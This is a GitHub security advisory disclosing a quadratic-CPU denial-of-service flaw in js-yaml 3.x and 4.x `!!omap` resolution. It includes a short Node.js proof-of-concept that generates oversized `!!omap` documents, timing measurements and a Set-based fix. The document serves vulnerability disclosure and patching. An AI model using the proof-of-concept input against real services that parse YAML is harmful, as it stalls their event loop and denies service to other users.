GitHub Advisoryadvisory · npm
GHSA-5p4m-2wfm-xmqj JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) — CVE-2026-59870 fix not backported
HIGH
Official page ↗
- Ecosystem
- npm
- Packages
- js-yaml
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-407
- Reviewed
- 2026-08-06
Affected packages
• npm js-yaml: >= 4.0.0, < 4.3.1 → fixed in 4.3.1
• npm js-yaml: >= 3.0.0, < 3.15.1 → fixed in 3.15.1
Description
Quadratic CPU consumption in `!!omap` resolution (js-yaml 3.x and 4.x)
Summary
`resolveYamlOmap()` enforces key uniqueness for `!!omap` sequences with a linear
scan (`objectKeys.indexOf(...)`) inside the per-element loop, making resolution
O(n²) in the number of entries. A modestly sized YAML document therefore
consumes disproportionate CPU inside `yaml.load()`, giving a denial of service
against any consumer that parses untrusted YAML.
`!!omap` is registered in the default schema
(`lib/schema/default.js` → `require('../type/omap')`), so a plain
`yaml.load(untrustedInput)` with no options is affected — no custom schema or
non-default configuration is required.
This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm, which was
fixed in the 5.x line in 5.2.1. That fix was never backported: both currently
maintained legacy lines still carry the original implementation.
Affected versions
| Line | Latest tested | Status |
|---|---|---|
| 3.x | 3.15.0 | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:29` |
| 4.x | 4.3.0 | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:30` |
| 5.x | 5.2.2 | Not affected — fixed in 5.2.1 (uses a `Set`) |
Both figures are the newest release of each line at the time of writing, so
this is not a "you are on an old version" issue.
Details
`lib/type/omap.js` (js-yaml 4.3.0):
```js
if (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)
else return false
```
`objectKeys` grows by one element per entry, and `Array.prototype.indexOf` is a
linear scan, so resolving an `n`-entry `!!omap` performs roughly
`1 + 2 + … + n` comparisons — quadratic in `n`. The work happens synchronously
inside `yaml.load()`, blocking the event loop for its whole duration.
The 5.x line already solves exactly this by tracking seen keys in a `Set`
(`src/tag/sequence/omap.ts`):
```ts
if (carrier.seen.has(key)) return 'duplicate key in ordered map'
carrier.seen.add(key)
```
Proof of concept
```js
// poc.js — node poc.js
const yaml = require('js-yaml');
const doc = n => '!!omap\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\n') + '\n';
for (const n of [10000, 20000, 40000, 80000]) {
const d = doc(n), t = Date.now();
yaml.load(d); // default schema, no options
console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);
}
```
Measured (node v20.20.2, default heap, no flags)
js-yaml 4.3.0
```
n=10000 bytes=137787 load=54ms
n=20000 bytes=297787 load=169ms
n=40000 bytes=617787 load=646ms
n=80000 bytes=1257787 load=2607ms
```
js-yaml 3.15.0
```
n=10000 bytes=137787 load=53ms
n=20000 bytes=297787 load=166ms
n=40000 bytes=617787 load=641ms
n=80000 bytes=1257787 load=2567ms
```
Runtime grows by a factor of ~4 for each doubling of `n`, which is the
signature of O(n²) (linear growth would be ~2×).
Scaling further: a 2.48 MB document with 150,000 entries blocked
`yaml.load()` for 10.8 seconds.
Impact
Any service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be
stalled with a small input. Because the loop is synchronous, a single request
blocks the Node.js event loop and stalls every other request in the process —
so the amplification is per-process, not just per-request.
Suggested severity: consistent with CVE-2026-59870 (the same weakness in
5.x), i.e. Availability-only impact, network attack vector, no privileges or
user interaction required.
Suggested fix
Mirror the 5.x fix — replace the linear scan with a `Set`:
```js
// lib/type/omap.js
const seen = new Set()
// ...
if (seen.has(pairKey)) return false
seen.add(pairKey)
```
This preserves the existing duplicate-key rejection semantics exactly while
making resolution O(n). A `maxOmapLength`-style cap would also work, but the
`Set` matches what 5.x already ships and requires no new option.
References
• CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1
• `lib/type/omap.js` (3.x, 4.x) — the affected resolver
• `lib/schema/default.js` — registers `!!omap` in the default schema
Discovery
Found by an automated static-analysis and executed-proof-of-concept scanner run
against js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by
executing the proof of concept above. All timings in this report were measured
on the current releases of each line, not on the version originally scanned.
Related
Weakness · CWE (1)
- CWE-407 Inefficient Algorithmic Complexity weakness